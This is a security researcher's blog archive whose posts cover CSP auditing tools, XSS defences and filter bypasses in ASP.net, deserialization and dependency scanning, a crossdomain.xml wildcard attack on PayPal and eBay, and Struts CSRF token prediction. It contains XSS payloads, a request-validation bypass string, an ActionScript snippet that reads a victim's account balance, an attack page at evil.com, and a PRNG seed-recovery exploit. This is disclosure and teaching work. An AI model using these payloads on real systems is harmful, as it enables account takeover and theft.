Tuesday, June 28, 2016

Auditing CSP headers with Burp and ZAP

This post was originally posted on GoSecure's blog
Content Security Policy (CSP)  is a HTTP header that instruct the browser to limit resource loading of media, styles and scripts.
As you may know, CSP is not adopted yet by industry. Multiple surveys have already been made about the adoption of the security header [1] [2] [3]. Even so, it does not mean that we cannot prepare ourselves for the technology. For this purpose, we have built a Burp and ZAP extension to automate the most common validations called CSP Auditor.

The extension


The first component is the passive scanning that find various issues around the CSP configuration. The issues are visible from the Target tab when selecting the targeted host.

Description of the weakness

The weakness is highlighted in the Raw Response Tab.


For manual review of the CSP header(s), an additional tab is available to display a readable version of the CSP configuration. It will display inherited properties. Those properties occur for example if script-src is missing but default-src is defined. The weak configurations are also colored according to the impact (orange for low severity and red for medium). This tab is available in most contexts such as History, Repeater and Intruder.

Detail view tab


The extension was submitted to the BApp Store and should be available in the next months. If you want to try it now, you can grab the plugin from the GitHub repository.

The passives rules


Now, what are the actual validations done by the extension? Here is the complete list. It can also be used as a checklist if a manual review is needed.

1. Unsafe inline

script-src: 'unsafe-inline'
In order to contain the JavaScript being executed, CSP allows only the execution of JavaScript within separate files.  With this directive enabled, an attacker will be able to use script html tag (<script>...</script>) or event handlers (onload, onerror, etc.) to load malicious JavaScript code.

2. Unsafe eval

script-src: 'unsafe-eval'
By default, CSP does not allow the execution of eval or setTimeout functions. The 'unsafe-eval' directive disable this protection. An attacker might be able to take advantage of those risky scripts using eval to trigger a XSS. The directive's presence is not a confirmation that eval() or setTimeout() are used. Old JavaScript libraries are often the reason why 'unsafe-eval' is added.

3. Wildcards

script-src: *
By specifying a wildcard, an attacker will be able to load a script from any server. Having this sort of directive eradicate the XSS protection capability from CSP.

4. Risky hosts with known vulnerable JavaScript

script-src: *.googleapis.com
Some libraries - namely AngularJS - have known payloads that allow the execution of script without using typical script html tag or event handler. In the case of Angular, CSP does not limit angular custom template syntax.

5. Allowing hosts that allow users’ content

script-src: *.appspot.com
Content delivery network (CDN) and software as a service (SAAS) are widely used. It is easy to introduce a permissive directive mistakenly. In the example above, the developer could have wanted to allow the hosts : myapplication1.appspot.com, myapplication1-api.appspot.com and myapplication1-files.appspot.com. Unfortunately, the wildcard cannot be used because anybody can register its own appspot subdomain (AppEngine).

6. Deprecated header name

X-Content-Security-Policy: ... / X-Webkit-CSP: ...
Some browsers have supported an experimental implementation of CSP with different header names. Now that the CSP specification 1.0 is out the older header should not be used.


Conclusion


This extension can be added to your web application assessment arsenal. However don't expect to find a majority of sites implementing an efficient protection against XSS. Inline scripts are still widely used.
We cannot expect applications to be rewritten completely but, we can expect that the web frameworks will eventually adopt the standard. CSP Level 3 and its "nonce-source" are likely to make the adoption easier.

References


Content Security Policy Reference : A handy reference to quickly getting started
CSP 2015 by filedescriptor: Article describing the remaining attack vectors once CSP is configured properly.
XSS without HTML: Client-Side Template Injection with AngularJS by Gareth Heyes: One of the most common CSP bypass
CSP Auditor on GitHub : Get the source code of CSP Auditor
CSP Bypass (Burp plugin) by Joe Moloch : Burp extension similar to CSP Auditor written in Python.
Content Security Policy : Level 1
Content Security Policy : Level 2
Content Security Policy : Level 3

Tuesday, March 22, 2016

XSS for ASP.net developers

This post was originally posted on GoSecure's blog
As a follow-up to the conference given at Confoo few weeks ago, we are doing a focus article on the same topic. The presentation was giving an overview of the modern XSS attack vectors and filter bypass. In this blog post, we will take a closer look at XSS in the context of .NET applications.
This article is intended to be a simple checklist for ASP.net MVC developers or security auditors. Defensive measures can be put in place at various layers including the template files (Razor or ASPx Forms), the Request Validation feature and the client-side (browser) filters.


Template


Lets remind ourselves that the root cause of Cross-Site Scripting is missing  encoding of user inputs. Having the right encoding at the source is obviously the true antidote to this class of vulnerabilities. Luckily, the template engine available in .NET is doing some encoding by default.
Here is a list of vulnerable templates using the Razor template engine. The examples assumes that the values displayed are controlled by the user.
  • Unsafe HTML
Hello @Html.Raw(ViewBag.Name)
If direct binding was used (@ViewBag.Name), it would be encoded properly the value for the HTML context. In the HTML context, special characters are replaced by XML entities such as &lt; , &gt; and &quot;.
  • Unsafe Html.Raw in attributes
<a href="/ViewDetails?name=@Html.Raw(ViewBag.Name)">View Details</a>
In this unsafe example, the developer might have disabled the encoding because he realizes that the default encoding to HTML entities is not appropriate for URLs. Special characters are replaced by entities (ie " becomes &quote;). A context specific function should have been used. Server.UrlEncode() can be used to encode safely a value in an URL.
  • Unsafe action link
@Html.ActionLink("Open page", null, null, null, new { href = @ViewBag.Url })
With the first ActionLink, an attacker could use the URL "javascript:[...]" to trigger malicious JavaScript. A validation of the URL is needed in the controller.
@Html.ActionLink("Back to previous page", null, null, null, new { href = Request.UrlReferrer })
The second ActionLink example could lead to an Open Redirect. It does not lead to arbitrary JavaScript execution but it could be used as an effective means for stealing credentials or phishing attacks.
  • Unsafe "unquoted" attribute
Attributes in Razor template can become vulnerable to XSS in two scenarios: when Html.Raw is used (see Unsafe Html.Raw in attributes) or when an attribute is not placed in quotes. Razor does not enforce the use of single or double quotes.
<img src=logo.png alt=@(ViewBag.ImageId)>
Here a malicious user controlling the ImageId variable could add a JavaScript event such as onload or onerror. The following snippet illustrate a basic injection.
<img src=logo.png alt=''onload='alert(1)'>
  • Another example with unquote attribute that could lead to DOM clobbering
<form class=@(ViewBag.FormClass) action="SubmitMe">
</form>
In this particular case, a form with the injected properties "name" and "id" can lead to shadow JavaScript global variables that are injected later in the DOM. It is a very capricious attack vector that works for very specific property names. If you want to know more about it, you can read Gareth Heyes article on DOM clobbering.
  • Script context
<script>
api.SearchUser('@(ViewBag.FirstName)','@(ViewBag.FirstName)');
</script>
Finally, the script context is slightly more at risk because the value are escaped to HTML entities by default. In the example above, it is possible to inject JavaScript because HTML special characters are escaped but not blackslash ().
<script>
api.SearchUser('Dummy',');prompt(1234)//');
</script>
In the previous example, the blackslash escape the terminating single quote. This cause the string to actually close on the following single quote. The second parameter can then be use by the attacker introduce malicious Javascript.
To summarize the correct guidelines, we have create a cheat sheet that include code examples  for the different contexts. It is intend to be a quick reminder for developers or security auditors doing code review. Feel free to share this cheat sheet to developers of your organisation.

Security Cheat Sheet @ GitHub

Request Validation


RequestValidation error message (input blocked)
Request Validation is a built-in filter to ASP.net. It is an additional layer of protection that is intended to block malicious requests. It will stop suspicious request if the parameters contains any HTML tag.
The Request Validation module is a feature that is integrated to ASP.net framework. It is decoupled from the View ASP forms or Razor Templates. It can be view as a Web Application Firewall for XSS specifically.

Bypasses

Any transformation between the moment the request is received and the construction of the final HTML view can lead to filter bypass. If an HTTP parameter is URL decoded two times, it is enough to bypass the filter.
One of the common transformation is SQL server character conversion to ASCII. It can occurs if the column data type is not unicode (VARCHAR vs NVARCHAR). SQL Server will convert the Unicode character FF1C to 003C. This is sufficient to bypass RequestValidation to create a Stored XSS.

Character Character After storage
U+FF1C (%EF%BC%9C) U+003C (%3C)
U+FF1E (%EF%BC%9E) U+003E (%3E)

A malicious payload using this bypass would look like this:
Name=XSS_HERE_%EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
Once the value would be output, it will be display as < (u+003C) and > (u+003E).
XSS_HERE_<img src=xxx onerror=alert(1)>
Nonetheless, it is still recommended to keep RequestValidation as a extra safe guard. As the official documentation stated, it is not a replacement to validation and proper encoding.

Client-side filters

Modern browsers also provide an additional layer of protection. Chrome, Internet Explorer and Edge have a filter mechanism that can detect some reflected XSS. The browsers will find some patterns were HTML tags are passed in the URL or POST parameters and are reflected in the page.

Browser XSS Filter
Mozilla Firefox None
Google Chrome Yes
Internet Explorer / Edge Yes

The filter can also be forced with the header X-XSS-Protection: 1. This has limited benefits because the filter is already enabled by default in Chrome, Internet Explorer and Edge. However, for some hosts (like localhost), IE/Edge will disable its filter by default.

Additional configurations

  • X-XSS-Protection: 1; mode=block : It is possible to block the loading of the page if a malicious pattern is detected. It is intended to avoid unwanted scripts being disabled.
  • X-XSS-Protection: 1; report=http://myhost.com/report : With this directive the browser will report blocked parameters to the URL specified in the header.
Even though  the filters have been proved to be effective, there is no commitment from the Chrome and Edge teams to provide a complete coverage.

Bypasses


Browser filters do not cover stored XSS and some DOM XSS. They also have some known bypasses. Usually, a transformation will lead to filter bypass. In the following example, the value is properly HTML encoded. However, JavaScript will read the attribute and print it. It will trigger an XSS because once the attribute is read the entities are decoded.
http://website.com/example?userId=%3Cimg%20src=xx%20onerror=alert(1)%3E

<form action="">
<input type="hidden" id="userId" name="userId" value="&lt;img src=xx onerror=alert(1)&gt;" >
</form>

<div id="preview"></div>

<script>
document.getElementById("preview").innerHTML = "Hello "+document.getElementById("userId").value;
</script>


Conclusion


This article should cover the key elements when it comes to safe HTML encoding and XSS prevention. You should now be aware of some of the limitations of each components. It should also stand out that security is not a silver bullet. Relying on a single protection will increase the probability of malicious payload passing through.
As mention previously, feel free to share this cheat sheet to developers of your organisation. The cheat sheet will evolve in the next month to include additional languages and frameworks. The project is open for contribution and reuse.

References

Wednesday, January 6, 2016

Deserialization Vulnerability : Automating the hunt


At the end of 2015, many Java applications were found vulnerable to a common deserialization bug. It all starts with a presentation at AppSecCali that demonstrate the danger of deserializing user input and having Apache Commons Collections in the classpath [1]. Stephen Breen from Foxglove later publish vulnerabilities with working exploits for WebLogic, WebSphere, JBoss and Jenkins.

This is obviously not the end of the story. While some big names where fixed, other applications open source and proprietary are likely to be vulnerable to the same bug pattern. In fact quickly after Foxglove publication, an advisory was release for ActiveMQ.

Stephen has already described in great detail the detection and exploitation in the context of penetration test. I wanted to provide a small method for scanning proprietary applications looking only at the jar files.

Object deserialisation (*)

Scanning a specific library


For the demonstration of this article, I will use the command line interface of FindBugs with the plugin Find Security Bugs version 1.4.5 (download link).
In its simplest form, we can pass the path of the JAR file to scan. Here -high is added to hide medium vulnerability.
> ./findsecbugs.sh -high libs/esapi-2.1.0.jar

H S SECOBDES: Object deserialization is used in org.owasp.esapi.codecs.Base64.decodeToObject(String)  At Base64.java:[line 1106]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At DefaultEncryptedProperties.java:[line 174]
H S SECPTO: FileOutputStream(...) writes to a file whose location might be specified by user input  At Base64.java:[line 1359]
H S SECPTO: FileOutputStream(...) writes to a file whose location might be specified by user input  At Base64.java:[line 1322]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At EncryptedPropertiesUtils.java:[line 188]
H S SECPTI: FileInputStream(...) reads a file whose location might be specified by user input  At Base64.java:[line 1318]
H S SECPTI: File(...) reads a file whose location might be specified by user input  At EncryptedPropertiesUtils.java:[line 140]
H S SECPTI: FileInputStream(...) reads a file whose location might be specified by user input  At Base64.java:[line 1355]

To analyze a specific bug, you can open the jar directly in JD.
Jumping to the potential bug (Base64 line 1106)

Search feature in JD to find class by name or regex pattern

Scanning a complete application


The command line interface of FindBugs has plenty of options. If we want to scan a complete application, we will need to give the complete list of jars to FindBugs.

On Linux:
> find /some/application/ -name *.jar

On Windows:
dir "C:/Some/Application/" /s /b  | findstr \.jar$ > libs.txt

Once the jars list is place in a text file, we can start a global scan. In the following example,


  • -xargs : is used to pipe the list of jars
  • -progress : is added to have some feedback since analyzing large code base can take a couple of minutes.
  • -html : I recommend using the HTML report to have a more detailed and readable report

  • > cat libs.txt | findsecbugs.sh -xargs -progress -html -output report.htm
    
    Scanning archives (156 / 156)
    2 analysis passes to perform
    Pass 1: Analyzing classes (16922 / 48118) - 35% complete
    

    The same operation can be done in Windows with the following command.
    > type libs.txt | findsecbugs.bat -xargs -progress -html -output report.htm
    

    Conclusion


    That's it! You should be able to find deserialisation vulnerability along with other bug patterns supported by Find Security Bugs plugin.

    To determine if an application is vulnerable or not will obviously require a specific analysis. The only general guideline is to identify ObjectInputStream instance where the content is read from user input.

    References


  • What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability: Detailed explantation for many application can be exploited by Apache Commons Collections "serialization gadget" written by Stephen Breen
  • AppSecCali 2015 - Marshalling Pickles: Presentation that cover the Apache Commons Collections "serialization gadget" by Christopher Frohoff and Gabriel Lawrence
  • SRCLR: Commons Collections Deserialization Vulnerability Research Findings : Research maded by SRCLR that focus on finding additional vulnerables libraries
  • SRCLR: Let’s Calm Down About Apache Commons Collections: Follow up to the article from Foxglove Security
  • ActiveMQ CVE-2015-5254: Official advisory from ActiveMQ
  • Find Security Bugs : Official web for the Find Security Bugs plugin
  • Find Security Bugs release 1.4.5 : Version use in the previous demonstrations
  • Friday, November 6, 2015

    Automate dependencies checking


    An application is like an iceberg. During a security code review, the focus will always be on the code written by the development team. It is easy to forget that most of the code running in production will be framework, libraries, the web server and the operating system.

    (Credits robynm pixabay)

    Keeping an operating system and its web server up to date might be a relatively simple task but, keeping track of all of the dependencies of an applications (framework and libraries) can be much harder. A complex application can easily have hundred of dependencies. Reviewing all the code of the libraries used is beyond possible for most company. On the other hand, making sure that at least all the libraries used don't have known vulnerabilities seems reasonable.

    Tools available


    I will present in this blog post two tools that can support this task for Java applications.

    1.  OWASP Dependency Check (Java, .NET, Ruby, node.js, ..)
    2. Victims (Python, Java)

    Although the tools target the same objective, they used two different approachs.

    1. OWASP Dependency Check


    Dependency check extract various keywords including the filename, artifactid (if Maven) and META-INF properties. It than search those keywords in the NIST Natial Vulnerability Database feed.

    At first, it might sound like an effective solution but in practice this approach is very approximate. A lot of false positive generated by this tool. The NIST feed include tons of applications that are not Java libraries. Application sharing common keyword in their name is really common,
    The NIST feed is not a perfect source of information because not all libraries affected are documented in the database. The search will

    Bottom line, it can still be use to do some automate research instead of googling each libraries one by one.

    Example of report generated from OWASP Dependency Check

    2. Victims CVE Project


    Victims is taking a white list approach where all Java CVE are extracted from the NIST feed, documented and mapped to their respective Maven artifactId.

    Unfortunately, the detection of many vulnerable artifact because of some missing hash. To still benefit from this source of information, I have start building an alternative client for maven that avoid the intermediary step of creating hash for each vulnerable jars. I did a short demonstration of the first release version at JavaOne last week.

    Demo of the Maven Security Versions plugin (Click to zoom)

    Clarification : The demonstration above use maven-security-versions. The official maven integration is called victims-enforcer.

    Report generated from Maven Security Versions

    Closing Thoughts


    Just like static analysis tools, it is generally better to use more than one dependency checker. Using both tools allow you to have a better coverage.

    References


    OWASP Dependency Check : Official Dependency Check page
    Victims : Official Victims Github project
    RubySec: Ruby advisory database

    Tuesday, June 30, 2015

    Security Code Review of Android applications

    You are developing mobile applications and you have read the OWASP Mobile - Top Ten Mobile Risks. You may be wondering what security tools can help you face the growing complexity of your Android applications. Well, there are plenty! In this article, I will present two free static analysis tools which scan your code directly from your IDE.

    Android Lint


    What is it?

    Android Lint is a static code analyzer provided in the official IDE Android Studio.

    What will it find?

    The list of checks is quite long, but the number security checks are low. There are still critical checks that justified running this tool regularly.

    Installation

    None! As mention previously, it is included in the official IDE Android Studio. However, if you want to keep only the security related checks, you can use this "security only" profile.

    Demonstration



    FindBugs + Find Security Bugs plugin


    What is it?

    FindBugs is a popular static analysis engine which is widely used in the Java community. Find Security Bugs is a plugin for this tool to bring security rules to the analysis.

    What will it find?

    The main focus of the security plugin FindSecBugs is to mark weaknesses such insecure communicationcryptography missuses and sensible sections of the application.

    Installation

    The installation and configuration of FindBugs can be done with few clicks. If you are still using Eclipse (previously official IDE), an equivalent plugin is also available in the Eclipse Marketplace.

    Demonstration

    Here is a short demonstration that showcases the FindBugs integration in Android Studio.


    (Note : An old version of Find Security Bugs is used)

    What is next?


    Unfortunately, the client mobile application is only the tip of the iceberg. Your application back-end also requires special attention. The number one risk of the OWASP Top Ten Mobile Risk is Weak Server Side Controls after all.

    Another great initiative would be to integrate both tools, Android Lint and FindBugs, in your continuous integration environment.

    Upcoming presentation at BlackHat USA 2015


    I will be presenting the security plugin for FindBugs at Black Hat arsenal. I will give demonstrations of the integration on IntelliJ and on SonarQube. If you have used the tool already, don't hesitate to come give me your feedback in person.
    If you are doing Android development, don't miss QARK which will be presented during the same period.




    That's it! If you have ideas for new security rules that would apply to Android, don't hesitate to open a ticket on Github.

    References


    OWASP: Source Code Analysis Tools: List of static code analysis tools
    NIST: Source Code Security Analyzers: Another great list of tools classified by language.
    Android Lint: Official documentation of Lint
    Find Security Bugs: Github website for the FindBugs security plugin
    Mobile Security Wiki: A well organized list of resources including tools for Android.

    Wednesday, April 15, 2015

    crossdomain.xml : Beware of Wildcards

    This blog entry will describe a wide spread Flash vulnerability that affected many big websites including paypal.com. The description will picture the state of the website paypal.com and ebay.com in 2013-2014. The vulnerabilities were completely fixed two weeks ago. Therefore, it is not possible to reproduce this vulnerability as-is.

    It all starts with a wildcard...


    After navigating through the various settings section of my paypal account, I could not find any upload functionalities. Hosting a file directly on www.paypal.com might not be impossible, but it's not the easiest target.

    There is an option. Looking at the crossdomain.xml (or clientaccesspolicy.xml).

    https://www.paypal.com/crossdomain.xml from 2014
    <cross-domain-policy>
        <allow-access-from domain="*.paypal.com"/>
        <allow-access-from domain="*.ebay.com"/>
        <allow-access-from domain="*.paypalobjects.com"/>
    </cross-domain-policy>
    


    This tell us that SWF hosted on any of those domains can make requests to the domain www.paypal.com and see the response. In other word, the SWF file will be allowed to do request beyond the same origin basic principle.

    Step 1: Finding weak domains


    We can find the existing subdomains by using an automate DNS bruteforce tools such as subbrute.

     $ ./subbrute.py ebay.com
    ebay.com
    blog.ebay.com
    groups.ebay.com
    home.ebay.com
    www.ebay.com
    my.ebay.com
    members.ebay.com
    cs.ebay.com
    blogs.ebay.com
    search.ebay.com
    [...]
    labs.ebay.com
    developper.ebay.com
    community.ebay.com
    

    It is also possible to find upload functionalities with some Google-Fu.

    • site:target.com inbody:attachment
    • site:target.com forum
    • site:target.com upload
    • etc...


    From the previous enumeration, I identify that the following where having upload functionnality for images or documents.
    • developper.ebay.com
    • community.ebay.com
    • labs.ebay.com
    "Luckily", all three were vulnerable.

    Step 2 : Uploading the SWF file


    The main objective is being able to serve arbitrary file from a GET request on the targeted domain. The presence of the header "Content-Disposition: attachment .." will make the file benign. Any Content-Type could be present. The following file has all the requirements. It is a file attached to a comment in the Ebay Community Forum.

    https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg
    HTTP/1.1 200 OK
    Date: Tue, 22 Jul 2014 04:49:07 GMT
    Server: Apache
    Set-Cookie: VISITORID=147921315; Domain=.ebay.com; Path=/
    Last-Modified: Sat, 19 Jul 2014 03:36:27 GMT
    Content-Length: 33576
    Connection: close
    Content-Type: image/jpeg;charset=UTF-8
    
    CWS[...]
    

    Malicious SWF


    A SWF file has similar capabilities that JavaScript has in a HTML page. The following code snippet does a HTTP request to the Paypal main page, extract the balance and display it.

    Malicious.as
    function getAccountBalanceHttpReq() {
        urlLoader = new URLLoader();
        urlLoader.addEventListener(Event.COMPLETE, onComplete);
        urlLoader.load(new URLRequest(encodeURI("https://www.paypal.com/ca/cgi-bin/webscr?cmd=_account&nav=0.0"")));
    }
    
    function onComplete(event:Event):void {
        //Extract balance from the page..
        var balanceRegExp:RegExp = /\$.*USD/;
        var amountFound:String = urlLoader.data.match(balanceRegExp);
        
        //Display amount extracted
        this['txtCurrentBalance'].text = amountFound;
        
        //More exfiltration
        //...etc
    }
    

    I developed the habit of creating custom SWF. For anyone unfamiliar with ActionScript or Flash, I would definitely suggest the use of prebuild SWF such as CrossXHR.

    Step 3 : Hosting a malicious page


    All we need is embebbing the remote SWF file in an HTML page. It can be done with <embed> or <object> tags but more easily with the swfobject.js library.

    http://evil.com/trap_page.html
    <script src="swfobject.js"></script>
    <script>
    var url ="https://community.ebay.com/ebay01/attachments/ebay01/Communitygroupsandbox/1/12/hello14.jpg";
    swfobject.embedSWF(url, "evilSwf", "700", "400", "10.0.0", "expressInstall.swf", {}, {}, {});
    </script>
    
    <div id="evilSwf"></div>
    

    That's it! Any logged in user visiting the page would be loading your malicious SWF and actions on their account could be done unless a password is required.

    Proof of Concept reading the balance amount

    The victim will not be able to notice that HTTP requests are triggered but more interestingly the targeted server would not receive any request different from normal ones. The only information that could be used to confirm an attack is the "Referer" header pointing to the file we uploaded.

    Démonstration


    Demonstration of the attack described previously. (Fullscreen recommended)


    The demonstration shows the most basic attack vector reading account information. The vulnerability also opens the door to submit arbitrary forms including doing money transfer.

    Conclusion


    Looking at the crossdomain.xml or clientaccesspolicy.xml is a verification that can be done quickly. The attack surface might become bigger than you initially though.


    I will be giving a Flash Talk at NorthSec next month on the subject. It will be a short presentation on how to identify variations of this vulnerability.

    References


    Tuesday, December 16, 2014

    Predicting Struts CSRF Token (CVE-2014-7809)

    A week has passed since the official release of Struts 2.3.20. I would like to now explain how CSRF tokens could be "easily" predicted by taking advantage of the vulnerability S2-023.

    This article will be all about practical exploitation of a LCG pseudo random generator. Buckle up for code review, some math analysis and tons of hex fun!

    True random number generator in action [Image Credit]

    Diving in code review


    The class 'TokenHelper' is use to generate CSRF token in the web framework Struts 2. The security of those tokens is crucial. It is expected that those would be immune to brute force attempt and to prediction. Take a minute to review the following class and maybe you will also find the vulnerability.

    TokenHelper.java (Struts 2.3.17)
    import java.math.BigInteger;
    import java.util.Map;
    import java.util.Random;
    [...]
    
    public class TokenHelper {
    
        /**
         * The default namespace for storing token session values
         */
        public static final String TOKEN_NAMESPACE = "struts.tokens";
    
        /**
         * The default name to map the token value
         */
        public static final String DEFAULT_TOKEN_NAME = "token";
    
        /**
         * The name of the field which will hold the token name
         */
        public static final String TOKEN_NAME_FIELD = "struts.token.name";
        private static final Logger LOG = LoggerFactory.getLogger(TokenHelper.class);
        private static final Random RANDOM = new Random();
    
    [...]
    
        /**
         * Sets a transaction token into the session based on the provided token name.
         *
         * @param tokenName the token name based on which a generated token value is stored into session; for actual session
         *                  store, this name will be prefixed by a namespace.
         *
         * @return the token string
         */
        public static String setToken( String tokenName ) {
            String token = generateGUID();
            setSessionToken(tokenName, token);
            return token;
        }
    
    [...]
    
        public static String generateGUID() {
            return new BigInteger(165, RANDOM).toString(36).toUpperCase();
        }
    
    }
    

    Got it ? Or giving up ? .. You can now pass to the next section.

    Identifying the weak point


    In order to be able to analyse the previous code, two classes need to be introduce.

    java.security.SecureRandom

    SecureRandom is a random generator that is recognized to be "cryptographically" secure. Its implementation will depend on the system hosting the JVM. With sufficient entropy, the values generated should be unpredictable. It is also important to note that each value generated is not base on the previous value or sequential.

    java.util.Random

    Random is a Linear Congruential Generator (LCG). What does it means? The generator is based on the evolving state of a value that is multiply by a huge number and reduce to its less significant bits (Those operations will be explain later). It is important to understand that the goal of such generator is mainly efficiency and uniform bit distribution.

    Let's focus on the generation of the GUID (method generateGUID from the previous sample).

    TokenHelper.java (Struts 2.3.17)
    private static final Random RANDOM = new Random();
    
    public static String generateGUID() {
        return new BigInteger(165, RANDOM).toString(36).toUpperCase();
    }
    

    The seed and random state


    First, at the line 1, the Random class use a implicit seed that is the timestamp in nanoseconds of the time where this class is loaded (System.nanoTime()). This could be predict if the attacker have some insight about the load time of the Random class.

    The weakest point is simply the usage of the java.util.Random instead of java.security.SecureRandom. The random values are generated based on a LCG which is not design to unpredictable. That's it! We have a vulnerability.

    Vulnerable in theory, but is it exploitable?


    Theory is one thing. Can we realistically predict tokens by collecting multiple tokens (or maybe just one)? To exploit this vulnerability we will have to dig into the implementation of the class Random. What happen when a number is generated...

    java.util.Random


    There are few details we need to know to attack the random generator.

    Generator lifecycle

    Life cycle of a Linear Congruential Generator (LCG)


    1. The seed is multiply with a constant value (mutiplier).
    2. An constant value (addend) is added to the previous result.
    3. A mask of 48 bits is then applied to the previous result (less significant).
    4. A mask of 32 bits is then applied to the previous result (most significant) but will not affect the seed for the next value.

    The exact implementation of java.util.Random number generation is:
    protected int next(int bits) {
        long oldseed, nextseed;
        AtomicLong seed = this.seed;
        do {
            oldseed = seed.get();
            nextseed = (oldseed * multiplier + addend) & mask;
        } while (!seed.compareAndSet(oldseed, nextseed));
        return (int)(nextseed >>> (48 - bits));
    }
    


    What's next() ?

    The previous algorithm describe the generation int (32 bits). What about long (64 bits) and byte array (multiple of 8 bits)? The two types are build upon the generation of one or multiple ints.

    Byte order for the various nextX() methods.
    Why does this details matter? In the case of Struts, the nextBytes method is called implicitly by the BigInteger class. In order to predict the state of the seed, we will need to reverse the order of the bytes to match the original int values.

    java.util.Random usage in Struts (TokenHelper.java)

    Now how does Struts interact with java.util.Random? The important calls are as follow.

    -TokenHelper.generateGUID()
      -new Random()
      -new BigInteger()
        -Random.nextBytes()

    As said previously, the nextBytes() method is used. Nonetheless, a sequence of int is still generated.

    Exploit


    To exploit this algorithm, a bridge need to be made between two successive generated values. The only obstacle is the loss of 16 bits information of the seed. It is really easy to retrieve the seed by brute-forcing the missing 16 bits. Once the seed is found, we can generate all the following values. This is made possible because the Random instance is reuse globally (see the static keyword).

    Brute force operation

    The proof of concept code has some additional details that are not that interesting. If you need to produce a working exploit, take a look at this proof of concept : struts-csrf-cracker.


    Execution preview:
    == Initial token
    H6P3Y3GHIC2865ASZVQ913NR93QZO7BR
    == Initial token in hex (easier evaluation)
    14b08fcbf6523eecd7dd7d3e89cf97d6f478db5617
    
    Guessing part..
    == bytes representation (reconstructed byte array)
    14b08fcb
    f6523eec
    d7dd7d3e
    89cf97d6
    f478db56
    Seed found: 259752424024079
    == following int .. (should match the initial token last part) 
    d7dd7d3e
    89cf97d6
    f478db56
    175a6e1c
    == (prediction) Next token 
    1590c1573a30295e6d87082bf2c389f575f5fcfa3890b8ac
    
    == (actual) Next token
    HWVVZO2VGBZOYD0QFWE8GU3BW4DCRVW8
    == (actual) Next token in hex (easier evaluation)
    1590c1573a30295e6d87082bf2c389f575f5fcfa38
    

    Conclusion


    If you see java.util.Random being used to generate secret value, the code is most likely vulnerable.

    You can scan your code and the libraries you are using with Find Security Bugs. It will find vulnerabilities including predictable Pseudo Random Generator.

    References


    Struts 2 Advisory S2-023 : Official Struts advisory
    Cracking Random Number Generators by James Roper : 3 parts articles series explaining PRNG in Java.
    Black-Box Assessment of Pseudorandom Algorithms by Derek Soeder, Christopher Abad and Gabriel Acevedo : Excellent paper presented at BlackHat USA 2013. The tool presented "Prangster" is probably your best bet when source code is not available (Detailed paper).